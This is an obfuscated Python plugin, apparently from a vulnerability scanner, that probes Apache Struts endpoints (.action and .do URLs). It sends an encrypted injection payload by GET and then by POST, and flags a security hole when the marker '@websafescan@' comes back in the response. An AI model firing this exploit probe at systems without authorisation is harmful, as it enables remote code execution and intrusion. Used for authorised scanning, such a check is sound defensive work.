#Embedded file name: struts.py
import urlparse
import time
if 0:
    i11iIiiIii

def assign(service, arg):
    if service == '''www''':
        OO0o = urlparse.urlparse(arg)
        if OO0o.path.endswith('''.action''') or OO0o.path.endswith('''.do'''):
            return (True, decode('\xaeyD\xb4HQ+"t') % (OO0o.scheme, OO0o.netloc, OO0o.path))
    elif service == '''struts''':
        return (True, arg)
        if 0:
            Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o


def audit(arg):
    ii11i = decode('\xbb+<\xbb[:0bo\xe8\t\x01\x1co_C8\x82\xf3\xce\xa6\x9bP\xd4\x00,\x8f\x1eR\xcc\xcb\xb4\xe8v\x12\xf91\t)bt\xeeANyg\x16\x00$\x86\xbc\xde\xef\xcbE\x8fo\x7f\xd7?\x05\x8e\xf2\xbd\xe3e\x1b\xea\x07*\x16*y\xfe\x00\x015:fC$\x8d\xb7\xda\x93\x86A\xde 0\x96\x06\x0e\xd0\xea\xb9\xfdB\x1b\xfb\x14\x185By\xf4\x11\x1d*fNN\x05\xd0\x9d\xf9\xe9\xdcU\xce?0\x9fP\x12\x81\xf6\xe5\xbf/N\xb5&Wkz&\xa5\\JdP\x01\x19\t\x99\xbe\xdf\xbf\x9eG\xee"2\x9f\x02Y\x99\xea\xa3\xf6f\x19\xf9\x01\'/kx\xf4\x17\x19=w]dh\xda\x8a\xc3\xb3\x90I\x938,\x8e\x1d\x0e\xec\xe3\xb1\xebc\x03\xfb\x10\x18<xZ\xd4()\nDly\x02\xbe\xf6\x8f\xf6\x86\x08\x8fv\x7f\x97I\x16\x81\xa2\x93\xa89\x05\xfd\x136{ Z\xfd\x17\x17agQS:\x8d\xbe\x93\xb9\x98G\xdc<0\xc1Uy\xd4\xf4\xba\xebc\x1d\xcd\x19\x17 kc\xcc\x00\x12*wPE\x16\x90\xbe\xd8\x9d\x9eK\xdc:0\x99M\x12\x9c\xbb\xe1\xea2J\xb1T\x00o3;\xa1A8j-PB2\x95\x99\x94\xe1\xaaP\xc02g\x8f\x0eS\xcc\xff\xb4\xa3y\x1d\xe3\x03\x17+<#\xce\t\x01"rGE\x12\x80\xb8\xcf\xaa\x93a\xd77,\x9f\x0fE\xe0\xe2\xb4\xe8]\x1b\xe7\x17\x18<xn\xa1XW}"C\x12s\xd4\xeb\xcf\xfd\xcf\x0c\x8br\r\xd9BT\xd5\xfa\xb9\xc9)Y\xc9\x08\x0f9/~\xe2\x19\x079w\nY$\x86\xbc\xd8\xb9\xc0\x14\xe4:4\x91\x1dC\xd2\xda\xac\xe8r\x12\xf09\x18<dn\xe3\x0f+$wA}"\x82\xa8\xd7\xae\x84Y\x8bkb\xceMG\x85\xbb\xf8\xbbrH\xbfPDd*I\xb2S\x08-gJ\x0e*\x98\xb8\xf4\xbd\x8f_\xde$\x7f\xceUU\xca\xfb\xb9\xe8f\x16\xa8AOoE<\xa2_8~9\rdp\xde\xfc\xf9\xf1\xd8\x07\xf9hd\xc5?\x11\x92\xb8\x93\xbc%U\xdaSWsE<\xbaS8~1\x1ddp\xde\xec\xf9\xf1\xdc\x17\xf9h|\xc9X\x1d\x8a\xbb\xfc\xbf6\x1f\xacP]ds=\xa7XJy?`\x05x\x8f\xbf\xce\xae\xd3Q\xde<\x00\x81\tE\xd4\xf4\xe1\xbf.\x03\xf8\x08\x0b17?\xbcXJ(&\x16\x00p')
    oOooOoO0Oo0O = '''@websafescan@'''
    iI1, i1I11i, OoOoOO00, I11i, O0O = curl.curl2('''%s?stamp=%s&%s''' % (arg, str(time.time()), ii11i))
    if 0:
        i11ii11iIi11i.oOoO0oo0OOOo + IiiI / Iii1ii1II11i
    if OoOoOO00 and OoOoOO00.find(oOooOoO0Oo0O) != -1:
        security_hole(arg)
        if 0:
            I1iII1iiII + I1Ii111 / OOo
    else:
        iI1, i1I11i, OoOoOO00, I11i, O0O = curl.curl2(arg, '''stamp=%s&%s''' % (str(time.time()), ii11i))
        if OoOoOO00 and OoOoOO00.find(oOooOoO0Oo0O) != -1:
            security_hole(arg)
            if 0:
                I1II1


if __name__ == '__main__':
    from dummy import *
    if 0:
        iII1iII1i1iiI % iiIIIII1i1iI % iiI11iii111 % i1I1Ii1iI1ii

#KEY---9a176f89756545161a807d6b5803333756eccaaad7ea2daa4e5eeb6c37a09ec0---